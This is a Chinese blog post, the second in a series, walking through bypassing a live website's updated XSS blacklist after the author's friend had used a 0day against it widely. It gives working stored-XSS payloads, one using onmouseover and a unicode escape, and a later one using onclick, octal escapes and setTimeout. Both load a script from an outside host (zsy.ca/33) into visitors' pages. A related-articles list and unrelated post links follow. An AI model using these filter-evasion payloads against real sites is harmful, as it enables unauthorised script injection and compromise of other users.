一次有趣的XSS漏洞挖掘分析(2)
第一次和一套程序做了这么多次的斗争。今天基友又给我来信说,没得玩了。了解了下情况,是他拿着0day到处插,被人家发现了。还出了个公告,说所有***必须安装补丁。呵呵,性福总是走的这么突然。这乐子一下就让人给搞没了。本来想的就算了。但是突然觉得还是想看看程序员是怎么修复的。(说实话,搞了那么多天也有感情了不是)
<p onmouseover="\u0064ocument.write('<sc'+'ript src=//zsy.ca/33></sc'+'ript>')">
针对于我用上面的payload和我用eval拼接多个XSS语句的的问题,在多次黑盒测试之后发现他是这么去思考这个问题的:

1.先解决掉onmouseover,采取的方式是发现onmou就拦截发贴
2.解决编码绕过问题。怎么做?既然可以用unicode来绕过就在发现\u时拦截
3.既然有人用eval来拼接,我就把eval过滤了。发现就拦截。
4.既然黑阔用的方法都是不闭合标签的,那么当碰到没有闭合的标签时就让content=""(其实我也想闭合显得自己专业一点。但是长度不够啊)
要再次挑战一下这个程序员么?
一个很有意思的程序员。我其实挺佩服他这种认真负责的态度的。但是方法还是不对。顺便提一下一个新发现的问题。这个问题不知道是之前就有了,还是程序员爆发了。他把“#”给过滤了。有两种可能性:
1.是个通用的防注入程序,为了防止网站被注入时攻击者使用"#"来注释多余的部分
2.他开窍了。他知道除了unicode之外,还有hex和demical只要过滤了#,我就绕不过去了。
然后顺便纠正一下我上次测试的时候,犯的一个马虎。其实标题处的长度限制是150.我可能当时测试的姿势不对- -。这个也不是今天的重点。
因为第一次对测试步骤已经说的很详细了。故不做重复的解释。在经过一系列fuzz之后发现onclick属性它没过滤。我们就有了
<p onclick="">求助</p>
还要继续解决前面的问题。之前在处理黑名单成员document时,我们使用了unicode.现在不单unicode不能用了,替代品hex和demical也不能用了(因为过滤了"#")想了下还有octal和base16.但是base16和octal不能直接拿来编码document。如果在eval()里面就好了。可是eval()又被过滤了。怎么办呢?想了想,还有个加强版的eval()就是setTimeout(,).和eval最大的区别就是多了个Timer。但是只要把延迟设置为0那就和eval()是一样的了。

然后开始构造payload:
<p onclick="setTimeout('\144ocument.write(\47\74\163cript src=//zsy.ca/33\76\74/\163cript\76\47)',0)">域名问题</p>
一个没有eval,unicode,document,char,onmouseover,script和#的payload又让我们给写好了.性福总是来的这么突然。不知道这次穿帮又会是什么时候。期待程序员下次更好的表现呢。程序猿,加油!
这次的可能有点短。如果大家都觉得挺有意思的话下次他再更新程序了,我会再次跟进测试然后发到这里。如果觉得太无趣了的话也可以说一下,我也就不发了。
一次有趣的XSS漏洞挖掘分析(2)的更多相关文章
- (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)
from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1) 最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...
- 一次有趣的XSS漏洞挖掘分析(1)
最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有 ...
- (转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)
第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一 ...
- 一次有趣的XSS漏洞挖掘分析(3)最终篇
这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事 ...
- (转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇
这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“ ...
- xss漏洞挖掘小结
xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...
- 记一次隐秘的XSS漏洞挖掘
前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...
- Xss漏洞原理分析及简单的讲解
感觉百度百科 针对XSS的讲解,挺不错的,转载一下~ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...
- 记一次xss漏洞挖掘
博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...
随机推荐
- Hbase系统架构
HBase 系统架构 HBase是Apache Hadoop的数据库,能够对大型数据提供随机.实时的读写访问.HBase的目标是存储并处理大型的数据.HBase是一个开源的,分布式的,多版本的,面向列 ...
- Struts2请求参数校验
校验的分类 客户端数据校验 和 服务器端数据校验 客户端数据校验 ,通过JavaScript 完成校验 (改善用户体验,使用户减少出错 ) 服务器数据校验 ,通过Java代码 完成校验 struts2 ...
- sqoop与mysql之间中文乱码
sudo -u hive sqoop export --connect "jdbc:mysql://192.168.22.201/LauncherDB?useUnicode=true& ...
- java的几种连接池
连接池的管理用了了享元模式,这里对连接池进行简单设计. 一.设计思路 1.连接池配置属性DBbean:里面存放可以配置的一些属性 2.连接池接口IConnectionPool:里面定义一些基本的获取连 ...
- express-18 路由
简介 路由是网站或Web服务中最重要的一个方面:路由是将请求(由URL和HTTP方法指定)路由到处理它们的代码去的一种机制. 路由过去是基于文件的,这很简单,但不灵活. IA 是指内容的概念性组织.在 ...
- 点击不同按钮生成不同窗体到某个panel上面,类似Frame用法--不错
//点击不同按钮生成不同页面加载到某个panel上面.procedure TMainForm.DemoButtonClick(Sender: TObject); var NewDemoClass: T ...
- sql 循环某段时间的每一天
create table #t1( 日期 datetime) declare @stime datetime;declare @etime datetime set @stime ='2015-01- ...
- UVa11082 Matrix Decompressing(最小费用最大流)
题目大概有一个n*m的矩阵,已知各行所有数的和的前缀和和各列所有数的和的前缀和,且矩阵各个数都在1到20的范围内,求该矩阵的一个可能的情况. POJ2396的弱化版本吧..建图的关键在于: 把行.列看 ...
- UVALive6900 Road Repair(树的点分治)
题目大概说一棵树,树边有费用和收益两个属性,求一条收益和最大的路径满足费用和不超过C. 树上任意两点的路径都可以看成是过某一个子树根的路径,显然树分治. 治的时候要解决的一个问题是,找到费用小于等于某 ...
- 【BZOJ1036】[ZJOI2008]树的统计Count 树链剖分
[BZOJ1036][ZJOI2008]树的统计Count Description 一棵树上有n个节点,编号分别为1到n,每个节点都有一个权值w.我们将以下面的形式来要求你对这棵树完成一些操作: I. ...